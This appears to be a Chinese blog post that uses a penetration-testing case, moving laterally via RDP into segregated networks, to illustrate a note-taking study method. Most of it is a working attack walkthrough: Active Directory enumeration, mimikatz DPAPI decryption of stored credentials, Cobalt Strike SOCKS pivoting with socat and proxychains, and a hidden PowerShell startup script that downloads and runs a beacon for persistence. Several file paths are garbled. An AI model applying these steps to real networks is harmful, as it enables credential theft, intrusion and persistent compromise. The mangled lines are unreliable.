凝聚知识结晶 编制知识网络
遇到陌生领域的知识,先别管它什么意思。首要任务是提取出对象,再关注它们的逻辑关系,形成知识网络。
所有知识它都有一个共性,首先是有什么,然后是跟你讲故事,告诉你它们都怎么了。
现实举例:什么是角膜?角膜就是人们俗称的"黑眼珠",位于眼球的正前方,形似圆球体的半透明部分。
就是角膜,黑眼珠,眼球正前方。 这样就简洁 高效 容易理解了。 前提是配合原文一起体会。
不管我们使用什么方法和心得,目的都是理解他说的啥意思,才能进一步学习。当此法不能帮助你理解性的提升时,请留神,哪里存在问题了。
让我们来进一步讨论这种学习方式,本文才用资料为,渗透测试中的攻击步骤,横移中的一个案例来BB,请见文末参考资料:利用RDP跳跃网络隔离
所谓横移就是,钱在主卧室,你从厕所进去的。怎么从厕所到主卧室,就是横移。
- 阅读介绍
网络拓扑:jump box secret network 工作站 RDP 互联网 攻击者
局域网 10.0.0.0/16 rasta-lan.local 秘密网 172.16.0.0/24 secret-lan.local
攻击者通过互联网到工作站,从工作站用远程桌面到jump box,再用远程到秘密网络
- 阅读假设违反
查询哪些用户/组有RDP权限 Jump Box Users
powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
查询一下Jump Box Users的成员名字
powerpick Get-NetGroupMember -GroupName "Jump Box Users"
rasta_mouse Jump Box Users MemberName rasta_mouse_adm
根据以上知识结晶,就可以配合原文的理解,编制一下自己的知识网络了:攻击者通过互联网进入工作站首先有一个rasta_mouse账户,在该账户下运行命令,查出Jump Box Users组有RDP权限,再查该组还有什么成员,得到rasta_mouse_adm。那么我们就需要从rasta_mouse_adm的账户进行RDP进入下一步。
- 凭证管理和DPAPI
查询凭证
shell vaultcmd /listcreds:"Windows Credentials" /all
凭据存储在users目录中C:Users
查询它们
powerpick Get-ChildItem C:Users
asta_mouseAppDataLocalMicrosoftCredentials -Force
再查第一条结果
mimikatz dpapi::cred /in:C:Users
asta_mouseAppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0
pbData guidMasterKey 加密数据和解密需要的关键数据
LSASS SeDebugPrivilege 缓存密钥与SeDeDebug权限
mimikatz !sekurlsa::dpapi
拿到guidMasterKey
Cobalt Strike运行mimikatz的兼容性表现不佳,手动使用它解密
mimikatz dpapi::cred /in:C:Users
asta_mouseAppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
- RDP01
设置自己的团队服务器
在RDP跳转前,先打通命令与控制的通道。设置SOCKS代理。远程自己的服务器,就等于直接远程目标主机,这里就需要设置代理来实现流量的跳转。
我给你钱让你帮忙把钱给到我朋友那里,你拿到钱把钱给到了我的朋友,就等于我的钱直接到了朋友那里。
beacon> socks 1337
安装socat & proxychains 修改proxychains.conf 127.0.0.1:1337
运行socat与proxychains的命令
proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389
监听3389流量,重定向到10.0.0.100:3389
SSH进入自己的团队服务器,任何使用3389的流量都到了10.0.0.100:3389。 攻击者到互联网中自己的服务器,通过socks代理,将3389流量重定向到目标工作站。你连接自己的服务器,就跳转了一下到目标的工作站的远程端口上面。
使用自己的电脑发起C2指令,我们通过rasta_mouse_adm账户进入到了jump box网络环境里了。
- 坚持(持久性)
设置一个持久性元素,当账户的主人登陆时,获得SMB Beacon,关于SMB Beacon可阅读文末参考资料:SMB Beacon
这是一个非常简单的例子:
创建无阶段PowerShell SMB Beacon有效负载。
将它托管在您的Teamserver(网络传送)上/smb。
Reverse Port Foward在我们当前的灯塔上创建一个- >rportfwd 8080 178.62.56.134 80
C:Users
asta_mouse_admAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupstartup.bat使用以下内容创建:powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"
注销RDP会话。
创建有效载荷,放到自己团队服务器上/smb,设置反向端口转发。
当真正的用户登录时,我们会在我们的博客中看到一个消息。
- 进入secret网络
手法一样,设置RDP跳转。
参考资料:
利用RDP跳跃网络隔离:https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/
SMB Beacon:https://github.com/aleenzz/Cobalt_Strike_wiki/blob/master/第三节[SMB Beacon].md